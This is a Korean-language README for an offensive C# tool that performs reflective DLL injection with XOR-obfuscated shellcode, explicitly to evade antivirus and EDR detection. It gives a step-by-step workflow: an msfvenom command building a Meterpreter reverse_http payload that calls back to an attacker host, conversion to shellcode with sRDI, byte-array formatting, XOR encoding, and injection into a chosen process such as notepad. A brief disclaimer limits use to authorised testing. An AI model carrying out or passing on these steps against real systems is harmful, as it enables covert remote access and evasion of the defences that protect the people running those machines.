XORed Reflective DLL Injection

이 도구는 C#으로 작성되었으며, 난독화된 (XOR) 셸코드를 사용하여 Reflective DLL Injection을 수행하고 일부 Anti-Virus 시그니처 및 EDR(Endpoint Detection and Response)을 우회하는 것을 목적으로 합니다.

이 도구는 다음 프로젝트들로 구성되어 있습니다:

msfvenom을 사용하여 DLL을 생성합니다. (원하는 어떤 도구를 사용해도 됩니다. 예: cobalt strike 또는 사용자 지정 DLL 작성)
msfvenom -p windows/meterpreter/reverse_http exitfunc=thread LHOST=<>& LPORT=<>& -b "\x00" -f dll > reverse_http.dll
sRDI를 사용하여 DLL을 위치 독립적 셸코드(position independent shellcode)로 변환합니다.
python3.6 ConvertToShellcode.py reverse_http.dll
다음 명령어를 실행하여 .bin 파일을 호환 가능한 C# 바이트 배열 형식으로 변환합니다:
hexdump -v -e '1/1 "0x%02x,"' reverse_http.bin | sed 's/.$//' > reverse_http_bytearray.txt
reverse_http_bytearray.txt에서 바이트 배열 셸코드를 복사하여 Xoring.cs 파일의 29번째 줄에 붙여넣습니다. 반드시 중괄호 안에 붙여넣어야 합니다.
26번째 줄의 XOR 키를 변경합니다.
솔루션을 빌드하고 Xoring.exe를 실행하여 셸코드를 난독화합니다.
생성된 파일(예: xored_shellcode_current date.txt)을 열고 바이트 배열을 복사하여 Reflective.cs 파일의 150번째 줄에 붙여넣습니다.
XOR 키를 변경합니다. (이전에 Xoring.cs 파일에서 사용했던 키와 동일해야 합니다.)
대상 프로세스를 변경합니다. 예: notepad, iexplore 등등..
프로그램을 빌드하고 XORedReflectiveDLL.exe를 실행합니다.

sDRI 도구를 사용하여 DLL을 위치 독립적 셸코드로 변환한 monoxgas에게 크레딧을 돌립니다.
Reflective DLL injection 기법에 대해서는 Stephen Fewer에게 크레딧을 돌립니다.

면책 조항:

본 프로젝트는 승인된 테스트 또는 교육 목적으로만 사용될 수 있습니다. 사전 허가 없이 이 소프트웨어를 대상 시스템에 사용하는 것은 불법이며, 본 소프트웨어 오용으로 인한 어떠한 손해에 대해서도 작성자는 책임지지 않습니다.